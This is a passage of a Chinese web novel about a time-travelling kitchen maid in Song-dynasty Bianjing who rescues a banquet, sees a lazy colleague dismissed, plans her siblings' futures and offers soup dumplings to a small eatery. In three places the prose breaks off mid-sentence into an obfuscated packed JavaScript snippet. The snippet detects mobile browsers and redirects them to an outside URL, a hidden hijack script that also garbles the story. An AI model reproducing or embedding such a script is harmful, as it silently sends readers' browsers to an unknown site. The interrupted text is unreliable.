那丫头就是平日里欺负人惯了，认定梁琪和采荷是一棍子打不出个屁的受气包，才这么肆无忌惮。 可兔子也有咬人的时候，何况是人被欺负，没有一直受窝囊气的道理。 眼看时间一分一秒过去，翠竹的活儿就晾在那。 梁琪和采荷默契十足，慢吞吞地打磨自己手上的活儿，营造出自己还在忙活的景象。 张铛头儿终于来了。 他来的不算早，只留给自己掌勺做菜的时间，在厨司这么多年，一向都是默认备菜丫头事先处理好食材，他和厨子们只需要来烹饪就可以了。 张铛头儿不疑今日有异样，照着菜单顺序做起来。 做着做着，他就发现不对劲了：“这豚肉怎么没煸油？采荷，豚肉谁处理的？” 采荷立刻答：“回铛头儿，是翠竹，翠竹她……今日没来。” “什么！”张铛头儿急了，“这么说还有一部分的食材没处理出来？” 采荷镇定地点点头：“我们也不知道她去了哪？” 张铛头儿彻底不淡定了：“快看看她没处理的是哪些，你俩辛苦下，赶紧处理出来，我会告诉司长重重赏你们，至于那这死丫头太大胆了，看我怎么叫她吃苦头。” 梁琪拿着菜单说：“翠竹这有九道菜没处理，分别是荷香糯米、珍珠白鱼……” 张铛头儿越听越绝望，这几道菜不仅难做，备起菜来也麻烦，他嘴上催促着梁琪和采荷，其实心里清楚，今儿的宴席铁定是要耽误了。 菜单是一早就报给主家的，少了哪道菜主家一眼就能看出来。 若是因为厨司影响了四司六局的名声，总把头儿肯定饶不了他。 张铛头儿握着铁勺的手都在轻微颤抖，尽量快得做出一道道美味佳肴。 梁琪两人则开始收拾翠竹留下的烂摊子，翠竹闯祸的讯息已经传递给张铛头儿，她们现在的辛劳都是给张铛头儿做人情，对方会记得此番恩情。 饶是这样，今日的上菜速度还是受了影响，比起前两日慢了不少。 梁琪不知道前院的主家和宾客有没有察觉，反正是把司长惊动了。 四司六局每个司局的一把手被唤做“司长”或“局长”，管事都只能算二把手，司/局长才是一司/局的老大。 厨司的司长姓王，人称王司长，他平时不会细问后厨的一菜一肴，而是统管整个厨司不出现差错。 就好比今日厨司上菜速度慢，他就发觉了，故而亲自来后厨查看。 得知是因为有个备菜丫头无故不来，才耽误了上菜进度，王司长的脸立刻阴沉下来。 只是现在还不是问责的时候，合力保住上菜速度，不让宾客发现异常才是重中之重。 好在上菜顺序不是固定的，张铛头儿和另外两位厨子紧着简单的菜做，复杂的往后排，三个灶台同时操作，差点没把锅铲抡冒烟。 张铛头儿在烟熏火燎中语速飞快：“司长，你可得给这俩丫头加工钱，瞧她俩那满头汗。” 王司长略显冷静：“这关要是顺利过了，在场的人都加工钱。” “我看行！”张铛头儿大声问，“梁小娘子，还剩几道菜了？” “最后两道。”梁琪说，“只是这两道菜比较麻烦。” 所有人的目光看向菜单上仅剩的两道菜：荷香糯米和珍珠白鱼。 前者需要把糯米千锤百打成糯米粉，和荷花蜜一起蒸成荷香糯米糕，光是捶打糯米这一桩活计，没一个时辰根本干不完。 更别提需要清蒸的珍珠白鱼，鱼至少提前半个时辰腌制，否则清蒸出来的鱼根本不入味。 果然是最麻烦的两道。 若是一大早按照正常程序备菜，不管是糯米粉还是白鱼都能按部就班地做好，绝不会像现在这么艰难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836663|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 台盘司的人已经捧着刚做好的菜去上了，再没有新菜做出来，就断线了。 到时候主家肯定能瞧出来异样。 宴席是主家的颜面，若是因为两道菜让主家在宾客面前失了面子，或许主家不会当场发飙，但往后怕也不会再用这家司局操办宴席了。 东京说大也大，说小也小，达官贵人就是个小圈子，若是四司六局因此毁了口碑和名声，往后哪还会有生意做？ 从前东京只有皇家有四司六局，隶属官府，只为皇家操办宴席，渐渐的，民间也争相模仿起来。 把头儿只要有足够的钱财和势力，就能攒起个四司六局，为东京的达官贵人家办宴席。 更有甚者，一些有钱人家自己家中就有四司六局，平时养在后院，偌大的司局，就为给自己家办家宴。 一言以蔽之，司局的生意竞争越来越激烈。 所以口碑和名声显得尤为重要。 饶是张铛头儿平时多么利索、王司长平时多么沉稳的人，此刻也都觉得棘手起来。 后厨诡异地沉默下来，只剩柴火在灶台底下噼里啪啦燃烧的声音。 梁琪和采荷默默对视一眼，皆是默不作声。 半晌，张铛头儿试着提议：“既然这两道菜难做，不如换成别的，油炸鳝鱼、麻腐鸡皮，食材都是现成的，赶着就能做出来。” 王司长犹豫再三，还是说：“不可，菜名都已经报上去了，临时换菜算什么？” 换菜，照样影响司局的口碑。 若是让总把头儿知道，整个厨司都得跟着吃挂落。 “我有个主意，不知可不可行。”正当大家都没辙时，梁琪突然脆声说道。 要搁平时，王司长才不会有闲工夫听一个备菜丫头的主意，可眼下情况紧急，死马当作活马医也是好的。 “说说看。” 梁琪便说了：“妾小时候在江南外祖家常吃一道膳食，是以糯米制成米粉条、鱼肉鱼骨熬出高汤，佐以豆腐、蚕豆和酸菜，唤做五谷渔粉。” “既然厨司报给主家的菜名是荷香糯米和珍珠白鱼，分别以米粉和鱼汤代替之，也不算出错，外人定看不出端倪。” 王司长本来只抱着“随便听听”的态度，谁知越听越觉得这备菜丫头说的有理，起码菜名的问题的解决了。 他连忙问：“这道五谷渔粉可好做？” 梁琪点头：“鱼肉高汤是现成的，顷刻间即可完成。” 王司长面露喜色，目光灼灼地看向张铛头儿。 张铛头儿眉头上的疙瘩仍没解开：“可我不会做啊。” 王司长又期盼地看向梁琪，提着一口气。 好在梁琪给了他肯定的答案：“家传秘方，妾会做。” 王司长长舒一口气：“即是家传秘方，这就清场，厨房交与你，你即刻做来，若能顺利度过今日这关，本司定要赏你。” 梁琪叉手一礼：“妾谢过司长。” 5. 五谷渔粉（二） 不多时，厨房只剩梁琪一人。 她拎起盛着糯米的竹筐和草环系着的白鱼，进了智能厨房空间中。 其实有智能厨房这个外挂，无论是荷香糯米糕还是珍珠白鱼都是能按时做出来的。 只需趁铛头儿和采荷不注意，把糯米浸湿放进绞肉机里，就能打出细腻粘糯的糯米团，做糯米糕足够了。 至于白鱼，用高压锅来蒸，即能缩短蒸煮时间，又能加速入味，比用传统的地锅快上不少。 之所以没这么做，是因为不让司长和铛头儿体会一下难处，他们怎知备菜丫头失职的严重性。 若是翠竹再被马婆子护着，轻描淡写揭过去，那她和采荷以后的日子会更难过。 不过话说回来，这道五谷渔粉也不是那么好做，若不是有智能厨房的帮忙，难度只会比糯米糕还大。 糯米首先放烘箱中干燥，而后放进破壁机中打成粉，最后再按量加进粉条机中，机器自动加水，就能压出粗细均匀的米粉条啦。 说是智能厨房，实则跟个小型工厂似的，啥都能做。 既然报上去的菜名是荷香糯米，梁琪也不用盘来盛米粉，干脆用荷叶来盛，这才叫“荷香”。 米粉奶白无暇，表面泛着一层柔和的光泽，在荷叶的衬托下显得清新脱俗，令人见而忘忧。 至于鱼汤，梁琪所言不假，厨司常年备着鱼、羊、菌、猪骨等八七种高汤，根本不需要占用时间。 只需要片出白鱼片，在煮米粉条时把鱼片、豆腐、青菜等一道煮了，紧接着就能出锅。 等台盘司上菜的人回来取菜时，梁琪正好把房门打开。 王司长和张铛头儿最先冲进厨房，把台盘司的人挤得连连后退，挠着头不知发生了什么。 台案上整整齐齐放着一排深斗瓷碗，不大，每个只有男人拳头般大小，里面盛着奶白的鱼汤。 汤中隐约可见翡翠似的青菜和酸菜，羊脂玉似的豆腐块，白里透粉的鱼片，正散发出浓浓的鱼香，香味那叫一个浓郁。 另有荷叶数十片，每片荷叶上盘放着煮好的粉条，光洁如玉，金黄的蚕豆点缀其上。 梁琪跟台盘司的人细细交代：“食用时，把米粉条倒进鱼汤中，轻轻搅拌后，即可。” “珍珠白鱼、荷香糯米，妙啊！”张铛头儿将愣愣地赞叹道。 王司长也看呆了片刻，突然意识到刚才还难死人的问题，此刻已经迎刃而解了，一直紧握的手不自觉松开了。 他大手一挥儿：“上菜！” 采荷趁机溜过去，满脸雀跃地说：“梁琪，你也太厉害了吧！” 声音虽然小，还是被张铛头儿听到了，他也笑着感慨：“梁小娘子菜备得好，做饭上更有天赋。” 其实备菜丫头会做菜也不算稀奇食，所谓久病成良医，备菜丫头常年累月在厨房耳濡目染，会做几道菜是再正常不过。 东京有好几位铛头厨娘，都曾是备菜丫头出身。 更何况梁琪一开始就说了，这道五谷渔粉，是她“家”的祖传食方。 她一欠身，笑道：“多谢各位夸奖。” 与此同时，前院正厅。 台盘司的人捧着最后两道菜入席，将荷叶和方斗碗稳稳地放在主家和诸位宾客面前。 随着家具和生活习惯的变化，宋朝人吃饭不仅开始一日吃三餐，而且采用“合食制”，并非从前的“分食制”。 即吃饭时一家人围在一张桌子上吃，坐八仙桌，使公筷箸，和后世几乎的用餐制度很是接近。 但像李府这种大型宴席，因宾客众多，采用的却仍是分食制。 台盘司的司长站在一旁，热情洋溢地为众人介绍这两道菜的吃法。 刘子今眉眼肃然地安坐在桌案前，敏锐地发现最后这两道膳食似乎和前面不是一个风格。 都说字如其人，其实做菜亦然。 他知道厨司的铛头儿是个年逾三十的男人，前面那些菜的味道确实很有豪爽的利落劲儿，可最后这两道嘛，却有着女子的温婉和活泼。 且粉条要放进鱼汤里一同食用，两道菜并成一道，似乎不那么合常理。 厨司刚才发生了什么？ 刘子今暗暗思索着，并没有把问题都道出来。 旁人连同李老爷也没人生疑，因为这渔粉的味道实在太鲜美了，即便他们心中转了一下念头儿，也即可被美食所吸引了。 正厅只剩吸溜粉条和鱼汤的声音，夹杂着由衷的夸赞声。 刘子今也尝了一口，鱼味鲜美，豆腐嫩滑，汤汁浓郁，米粉更是爽滑软糯。 让他莫名想到昨日那枣花酥……的枣泥馅儿。 像出自同一人之手。 他寻思着，突然听到主位上李老爷笑说：“这渔粉颇合子今的胃口，你们看，其他菜他没怎么动，倒是这碗渔粉都见底了。” 众人哄笑。 刘子今望着自己面前空了的碗：“……” - 另一边，王司长迟迟没有离开厨房，则是要处理两件事。 一件事，五谷渔粉已经上菜，还不算完，要等主家和宾客没有“差评”的言论传出，才能彻底放心。 厨司的杂役跟着去打探消息，这会儿刚好来回话，说客人们对渔粉的评价颇高，李老爷还亲口夸赞了那渔粉是“珠圆玉润、味道上佳”。 这下，厨司众人算是彻底放下心来。 至于第二件事……说话间，翠竹和马婆子也被“请”到了。 听说王司长在，来的路上翠竹身子就在打颤，前两日明明司长也不在啊，怎的今日会来了后厨？ 梁琪和采荷那俩臭丫头有没有把活儿干好啊？若是干好了，司长应该不至于管这种小事吧？许是有别的事说？ 路上，她想央求马婆子甭管出了什么事一定要护住自己，可又有其他人在，马婆子也是一脸愁容，一直没机会开口。 翠竹忐忑不安地来到后厨，一眼瞧见王司长那张阴沉沉的脸，心里更没底儿了。 “做什么去了？”王司长的声音还算温和。 翠竹却瑟缩一下：“妾、妾身身子不适，向马婆婆告、告假了。” “是吗？” 马婆子收了翠竹的钱，正想说“是”。 又听到王司长带着警告的语气：“她今日差点误了做菜，你可要想清楚再回答。” 马婆子到了嘴边的话拐了个弯：“我不知道翠竹告假啊。” 翠竹立刻瞪大惊恐的眼睛，这马婆子，竟然当众翻脸不认人！ 王司长说：“既然如此，厨司留不得这种人，赶出去。” 翠竹的脑子懵了一瞬，她若是被赶出去，再难找到维持生计的差事啊。 可王司长这个人她太了解了，冷酷无情，说出的话从不改口，他说要赶出去，那这四司六局她就待不下去。 到了此刻她才意识到问题的严重性，好好的备菜活计，为什么要偷懒，致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836664|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使事情到了这般田地，若是像梁琪和采荷一样按部就班的干活儿，这会儿明明该拿工钱了。 要说不后悔那不可能。 她咬了咬牙：“赶我走可以，工钱总该付给我。” 张铛头儿气得也咬牙，这丫头害得他差点做不成菜，不干活还想要工钱，咬牙切齿地说：“你的工钱合该奖赏给梁小娘子，要不是她做的渔粉，顶了难做的糯米糕和蒸鱼，整个后厨都不会好过！” 翠竹诧异地看向梁琪，又赏、又赏，三天赏了三回，这梁琪是走了什么财运？ 她知道今日东窗事发，肯定有梁琪两人的推波助澜，但她此刻最恨的不是梁琪和采荷，而是关键时候把她推出去的马婆子。 那可是足足两百钱，全打点马婆子了！ 翠竹心里憋着一股火气，突然指向马婆子：“要赶我走，好啊，最好把这婆子一并赶走，她可是受贿敛财的行家里手，马婆子，你把我的钱还给我！” 说完，她直接扑倒马婆子身上，非要狠狠咬上两口才解气。 马婆子先是一惊，也不是个吃亏的主儿，当即厮打成一团：“你个小蹄子少诬陷我，临走了还不忘拉个垫背的，司长，你可不要信她！” 王司长不料他管辖的后厨内竟藏了这么多不堪之人，当即挥挥手：“马婆子，一并赶出去。” - 日落西山时，梁琪和采荷背着小包袱出了李府后门。 四司六局和李府的这桩生意结束了，他们这些白席人也分得了工钱，暂且归家去。 西天飘着晚霞，两个姑娘走在街上，跟镀了一层金似的，因着工钱刚到手，故而心情还不错。 梁琪想到翠竹，心中还是有些唏嘘，那姑娘也怪可怜，不想干体力活儿罢了，倒也不是大错，错就错在不该把所有活计理所应当的推到同僚身上。 如今被赶出了四司六局，再想进别的司局也难。 不过倒也不用担心她的生计，东京最不缺的就是机会，只要踏实肯干，卖面汤也是个不错的经营。 “梁琪，保重。”采荷的声音打断梁琪的思绪。 前面是小南门，她们该分道扬镳了。 几天相处下来，梁琪觉得采荷倒是个可以相处的朋友，真心叮嘱说：“保重，回家好好歇息，抓药的钱要是不够，一定要告诉我。” 采荷重重点点头：“抓药的钱够了，倒是你，家里还有弟弟妹妹嗷嗷待哺，花钱的地方且多呢。” 梁琪拍拍小包袱：“亏得有赏钱。” 两人相视一笑，挥手告别。 出了小南门，梁琪沿着蔡河一路走，河道两边做生意和摆摊的不少，熙熙攘攘、烟火气十足。 大宋没有宵禁，也不像大唐似的实行坊市制，交易买卖只能在东西两市进行。 东京没有坊市，各处都能做生意，梁琪曾亲眼所见，一直到宋都御街两侧都是开门做生意的铺子，挨着皇城宫门最近的是家包子铺。 再过几个时辰，不管是这蔡河两岸，还是别的地方，就都挂起灯笼，热热闹闹地开起夜市了，能一直热闹到夜半子时。 看得梁琪技痒，这个汴京城啊，可太适合做美食生意了。 倘若有一天不在四司六局干了，一定要开家自己的酒楼。 她一边盘算着，一边沿河买了些食材和小玩意，而后回到观桥东边桃源巷的家。 刚推门进去，就见一个十岁左右的小姑娘迎了上来：“阿姐，你回来了。” 6. 鱼香肉丝 这便是原身的妹妹，梁莹。 说起来原身一家也是可怜，早年没了娘，爹拉扯着三个孩子长大，年前也去了，撇下三个半大孩子，最大的梁琪也才十七。 底下还有个十三岁的弟弟，和十岁的妹妹。 爹娘去的时候没留下什么值钱的东西，只留了这处三件青瓦房的院子，料理完丧事，家里一个铜板都没了。 弟妹都还这么小，原身便一早找了四司六局备菜丫头的活计，省吃俭用，倒也勉强能糊口。 只是前些日子，倒春寒，原身没留意着了风寒，仔细着不肯花钱抓药，病势反反复复竟越来越严重，以至于高烧不退，躺在床上竟一命归西。 梁琪就是那个时候穿来的，人虽然醒了，身子却虚得不得了。 她深知钱远不如身子重要的道理，宁愿借钱也要吃好药、吃饱饭，这才勉强把身子养的强健了些。 这不，在李府做了几天工，钱不是就挣回来了吗？ 不仅能把欠的钱还上，还给弟妹买了小礼物。。 梁琪把新买的小蜻蜓头饰塞到梁莹手中，顺口问：“莹姐儿，在家干嘛呢？” 梁莹摆弄着小蜻蜓，这样的头饰邻居家的小姑娘都有，就她没有，但她从不羡慕，因为她喜欢的东西别的小姑娘也没有。 “看书。” 她有好几本算术的书。 梁琪一愣，旋即笑道：“我就说你跟元哥儿托生反了，从前爹希望元哥儿能考个进士，给他买了不少书，他却从来不看，倒是你，整日抱着那本《九章算术》爱不释手。” 梁莹的性子比她这个当姐姐的还冷些，闻言倒也辩驳什么，只是说：“这个蜻蜓能退吗？浪费这个钱做什么？” “退了干嘛？”梁琪很是诧异，顺手把蜻蜓别在妹子的总角上，“多好看，又不是买不起。” 她有些小得意地拍拍包袱里哗啦啦的铜板声：“瞧你阿姐多厉害。” 梁莹：“……” 总觉得阿姐病好了之后，整个人活泼不少。 梁琪来到厨房准备晚饭，瞧着天色问：“元哥儿呢？天都黑了还不着家。” “跟邻居家虎子哥玩去了，说是城外有摔跤比试看。” 得，这哪是考科举的材料啊？ 大宋重文官，重科举，原身的爹娘就这一个儿子，希望能出个寒门贵子，将来不说能考个进士，起码也得是个举人。 现在倒好，院试都没过，连童生都不是。 心思一天到晚就在摔摔打打上，活脱脱一个小武夫。 正说着呢，院门被推开了，梁元风风火火地从外面回来，先是跑到厨房的水缸旁，拿起瓢就是一阵牛饮。 解了口渴才说：“阿姐，你可算回来了。” 比起梁莹，梁元可活泼多了，身量也高，虽然年纪比梁琪小，个头儿却比梁琪还高，更比梁莹高。 梁琪拿蒜头敲了一个破小子的脑门儿：“让你在家照顾妹妹，又跑出去疯玩，瞧那袖口都破成什么样了。” 梁元缩了下脑袋，长姐如母，他还是很怕梁琪的，何况他不爱念书，阿姐从前总训他。 身为家中唯一的男子，理应刻苦念书，考出功名来让全家人蒙荫的，可是没办法，他天生就不是念书的料子，一坐下屁股上就跟长钉子了似的，一看书那字就跟蚊子似的在眼前直打转。 可梁琪今日却出乎意料地没念叨这件事，只说：“你俩去好好洗洗手，一刻钟后准时开饭。” 一刻钟后，香喷喷的饭食被端上桌。 梁琪炒了两道菜，分别是肉末茄子和鱼香肉丝，还用智能厨房的电饭煲炖锅煲了米粥、蒸了大米饭。 堂屋满是饭香。 家里许久没吃肉了，梁元闻见肉味两眼放光，加了一筷子沾满肉末的茄子放进碗里。 茄子炖的软烂，挂着浓郁的汤汁和细碎的肉末，径直把莹白的米饭染成酱色，一大口吃下去，口中满是酱肉的浓香和稻米的清香。 鱼香肉丝更是一绝，豚肉中泛着鱼香，连胡萝卜丝都是肉味，汤汁往米饭里一浇，蒸碗饭都变得喷香起来。 梁元一口接着一口根本停不下来，很快吃完一整碗米饭，紧接着盛第二碗，边盛边说：“阿姐的厨艺又精进了，能将落苏和胡萝卜这种家常菜做出珍馐美味，这豚肉一点腥膻味儿都无。” 梁琪笑骂：“什么时候学会拍马屁啦？” 她就知道这破小子吃得多，特意多蒸了些，管够。 相比于臭小子的豪放吃法，梁莹吃得就斯文多了。 姑娘家都爱刻意保持身材，梁莹选择先喝粥，炖锅小火慢炖出来的米粥十分粘糯，表面浮着一层厚厚的米油，入口犹如羊脂玉一般温润。 她也不吝赞美道：“阿姐，真的很好吃。” 梁琪得意地笑了笑：“那是，你姐在四司六局可不是吃白饭的。” 梁莹和梁元相视一笑，无声地谴责阿姐自大。 对于这两个弟弟妹妹，梁琪还是很喜欢的，她借了原身的身体，理应照应人家弟妹，何况这俩孩子也的确讨人喜欢。 先前原身和爹娘给两个小家伙规划的前程是，哥儿读书考科举，姐儿学习女工纺线，留待嫁人。 现在看来，这俩没一个省心的。 她承认，爹娘的规划是最符合宋朝世俗的，但前程这种事，还得因人制宜不是？ 昏黄的烛光下，梁琪开口问：“元哥儿，真那么喜欢当武夫？” 梁元先是一愣，连忙垂着头说：“阿姐，我明日一定好好看书。” 梁琪佯装训斥：“两天打鱼三天晒网，能成什么事？你若真不喜欢念书，倒也不必强求，即便是练武，也得寻个正儿八经的门道。” 梁元猛的抬起头：“阿姐同意我不考科举？” 梁琪都气笑了，好似她让他考科举，他就能考中似的，白白浪费光阴罢了。 “人要干自己喜欢的事。”她说，“你喜欢练武也无不可，但要清楚，本朝重文轻武是事实，将来可做不了大官哦，等学有所成，也无非当个护院、镖头、侍卫什么的。” “我不在乎大官不大官。”梁元两眼放光，“只要让我练武，从军也行。” 梁琪叹了口气，看出来了，这孩子真是个武夫的料子。 “行。”她都想好了，赶明儿给元哥儿寻个正经门道，不管是开封府的守卫，还是从军，得花钱买个门路才行，“容阿姐想想。” 饶是没有立刻有个稳当的结果，梁元也乐的龇着牙笑起来。 说完梁元的事，她又看向梁莹。 梁莹知道到她了，阿姐今儿这是谁也没打算放过啊。 “你呢？小丫头。” 梁莹抿了抿唇：“我想当账房先生。” 她嘴上说的平静，其实心里已经打起鼓来，东京虽说有不少女子做生意，可士农工商，商到底是落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836665|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下乘。 不知阿姐会不会同意。 可她就喜欢算账啊，别人要拿算盘噼里啪啦敲半天的帐，她在心里加加减减，片刻就能算出准确的结果。 梁琪犹豫了片刻，也说：“行。” 作为一个现代思想的人，她不觉得这有什么不妥，账房先生是多么正儿八经的行当，小丫头这么有天赋，没什么不行的。 古代女子的出路本身就少，能学学管帐至少有了终身的依靠。 梁莹没想到这么轻易就得到了想要的结果，一时都愣住了。 梁琪好笑地拿筷子头敲了敲桌子：“当账房先生得先做学徒，你这个年纪正好，左右这几日无事，我找个合适的铺子送你进去当学徒。” 梁莹眼圈红红的，太好了，她不用蹉跎岁月只为等着嫁人那天了。 为表感激之情，她往梁琪往里加了一大筷子肉丝：“谢谢阿姐。” 梁元也不甘弱势，不住地往梁琪碗里夹菜：“阿姐多吃点。” 梁琪：“……” 你们搁着养猪呢？ 翌日，天响晴。 天气逐渐暖和起来，城中一派生机勃勃的景象，一大早叫卖声就不绝于耳，可见热闹。 梁琪洗漱收拾完毕，简单做了顿早饭，就要出门去，还把梁莹也叫上。 她要去逛个街，逛街怎么能没有小姐妹相随，亲妹子就是最好的人选。 梁莹一脸幽怨地跟着出了门。 梁琪教育她说：“沉迷书本可不是什么好事，人还是要多到阳光下和市井中多走走。” 梁莹瞪大眼睛：“教书先生都说书中自有黄金屋，阿姐你倒还批判起来了。” 梁琪婉转一笑：“先生那都是老生常谈，没有新意。” 梁莹：“……” 她姐什么时候这么前卫了？ 梁琪走在街上，切身感受着汴京城的喧闹与繁华。 卖面汤的小伙子奋力吆喝，给有钱人家送上一盆热洗脸水；提茶瓶的提瓶人走街串巷，热情地提供茶点□□；还有挑着货的货郎，卖的都是孩童的玩具…… 《清明上河图》的繁华，诚不欺我。 梁琪先是进了家成衣铺子，让梁莹挑喜欢的款式和布料。 普通人家虽然还穿不起贵重的丝绸料子，舒适的丝棉布料还是能买得起，又适合姑娘家。 梁琪当即给妹妹买了两身。 又给梁元也选了一套耐造的生棉料子，臭小子整日摔摔打打没个正形，穿生棉都便宜他了。 抱着一堆成衣出了成衣铺子，梁莹才把憋在心里的话问出口：“阿姐，你发财啦？” 梁琪想了想，多少也算发了一笔小财吧。 在李府的三日，光是工钱就有三百钱，加上李老爷赏的、刘官人赏的，翠竹的工钱也补给了她，加起来有一贯又三百文，可不是发财了吗？ “在李府赚的呗。” 梁莹账房先生的天分崭露出来：“那也别一下子花干啊，留着不好吗？” 梁琪理由充分：“钱是赚出来的，不是省出来的。” 梁莹：“……” 好有道理。 梁琪又带着妹子漫无目的地瞎逛一会儿，是家铺子都进去瞧一眼。 梁莹也不知道她在瞧什么。 终于，在一家孟记食铺里，梁琪终于满意地笑了，对梁莹说：“你就在这家食铺当学徒，可好？” 7. 灌汤小笼包 梁琪考察了好多家铺子，终于在这家孟记食铺里看到了一位女账房。 她要给梁莹找东家，安全得是第一位。 最好是跟着一位女账房。 不等跑堂的开口，梁琪先走到柜台前，笑盈盈地询问那女账房：“娘子怎么称呼？” 那女账房眼看着有二十多岁，盘着发髻，眉眼虽然严肃，却没有刻薄相，正低头看账，闻言虽然有些诧异，还是答了：“妾姓姜，小娘子有何事？” 梁琪恭敬地称一句“姜娘子”，又问：“这孟记食铺的老板可是孟相公？” 姜娘子答：“非也，乃是孟二娘子。” 原来老板也是女子，这回梁琪彻底放心了。 笑说：“妾姓梁，这是我家妹子，素来醉心算术，想来铺子里当账房学徒，小妹还小，做姐姐的不得不用心些，望娘子原谅刚才的唐突。” “不妨事。”姜娘子很能理解，“想当初我来这家孟记食铺管帐，也是因为老板同为女子罢了。” 梁琪试着问：“那娘子可愿收下小妹当学徒？” 见姜娘子犹豫不答，她又补充道：“娘子尽可考教小妹的才学。” 姜娘子闲来无事，便出了几道题略微考教。 梁莹虽然有些紧张，却也都能对答如流。 姜娘子满意地点点头：“头脑很活泛，若是好好调/教，将来无论做大酒楼的账房，还是大家族的管家，皆可无忧了。” 梁琪开心地笑了：“这么说，姜娘子是愿意收下小妹了？” 姜娘子却说：“这我说了不算，得问过孟二娘。” 她对梁莹很满意，从前她给人家当学徒，现在学成出山，也想收个自己的徒弟，这小姑娘天资聪颖，模样又机灵可爱，确实很让人心动。 只是…… “梁小娘子，我就直言相告了。”姜娘子说，“你也看到了，这孟记食铺不大，生意也并不十分好，怕是没有多余的开销来养学徒了，孟二娘肯定不会收。” 梁莹急得连忙看向梁琪，这姜娘子温温柔柔，她一见就很喜欢。 梁琪了然，学徒除了学习，也要帮着铺子里干活，老板理应支给学徒工钱，这孟记食铺生意不是特别红火，不想多出一项开销也属正常，哪怕学徒的工钱比跑堂要低上许多。 那就剩两条路可走，一条是梁莹不在这家孟记食铺当学徒，可走遍大街小巷，这是最合适的一家，放弃实在是可惜。 另一条，梁莹一文工钱不要，纯来义务打工。 第二条路也不是不可以，但梁琪心里已经有第三条路的走法了。 她问：“你们孟二娘子呢？我想和她谈谈。” 姜娘子喊来跑堂，让他去请孟二娘。 片刻后跑堂来回话了，说有请梁小娘子。 梁琪跟着跑堂到了里间，看模样，这里应是孟二娘的起居室。 孟二娘正在批切香料，招呼梁琪自己坐。 孟记食铺果然是小本生意，连香料都要老板娘自己批切，也是，能自己干的事，何必花钱雇杂役。 “你的来意我已经知道了。”孟二娘说，“想必姜先生已经说得很清楚了，我这不收学徒。” 梁琪笑了笑，反问道：“孟二娘怎知我要说的只这一件事？小妹只是顺便，我见娘子，是想谈一笔生意。” “哦？” 梁琪继续说：“我有一手艺，能做灌浆，可我一无摊、二无店，不如给食铺供货来的便宜，若是能对贵店的生意有所助益，岂不是双赢？” 孟娘子知道灌浆，也就是灌汤包子，乃汴京城当下最时兴的吃食，只有酒楼里的大师傅才会做，听说每日去樊楼、黄家酒楼买汤包的人络绎不绝。 这种汤包说来也奇怪，薄薄的皮儿里竟是一满兜的肉汤，也不知道是怎么包出来的。 她也算是美食一道儿上的人，竟复刻不出那汤包的做法，眼睁睁看着铜钱流进别家的钱袋子里，只能守着冷清的生意干着急。 她停下手里的活儿，比刚才郑重其事许多：“你当真能做灌浆？” 梁琪回答：“不信我现在就能做出来请孟二娘品鉴，只消借厨房一用。” “好，梁小娘子请。”孟二娘引着到了厨房。 若是这梁小娘子真能做出大酒楼才有的灌浆包子，说不定她孟记食铺的生意真有救了，到时候顺手收个学徒还不是简单事。 梁琪净了手，系上荷叶边围裙，开始做灌汤小笼包。 做这种汤包，人们的直觉是先把肉汤冷冻成肉冻，包在面皮中，等上锅一加热，肉冻就自行化成了肉汤。 其实不然，而是要选用吸水的猪后腿肉，水分多次剁入馅儿中，馅儿打得“稀如粥”，而后才能包入面皮中。 肉馅儿梁琪选择用绞肉机来打，打的次数越多，水分吸收得也越多。 她这智能厨房中还有包子机，不仅能包普通馅儿的包子，连灌汤包、蟹黄汤包都能包，刨出来的包子有精致的十八褶，和手工包的几乎没有分别。 但这回她选择亲手包，手指灵活反转，一个个胖乎乎的小肉兜就成型了。 笼屉上衬上笼布，坐上汤包，上火蒸熟就可以了。 等笼屉中冒出大量带着香味的热气时，汤包熟了。 热气腾腾的包子新鲜出炉，梁琪端着笼屉来到正堂，香味诱人，把梁莹、孟二娘和姜娘子都吸引过来了。 那汤包尚在笼屉中，和普通的包子不同，扁趴趴的，跟乌龟似的卧在笼布上，薄如蝉翼的面皮里隐约可见肉色的肉馅儿和肉汤，仿佛稍微一戳，里面的肉汤就能喷涌而出。 “是的，樊楼里卖的灌浆汤包就长这样！”孟二娘有些激动地说。 一开始她还当梁小娘子有吹牛的成分在，毕竟灌浆可是大酒楼铛头们的秘方，不轻易外传，一个年轻的小娘子怎会有这手艺？ 可现在一看，这灌浆做得极好。 梁琪取了几只浅口碟子，用筷箸小心翼翼把汤包夹到碟子中，分给 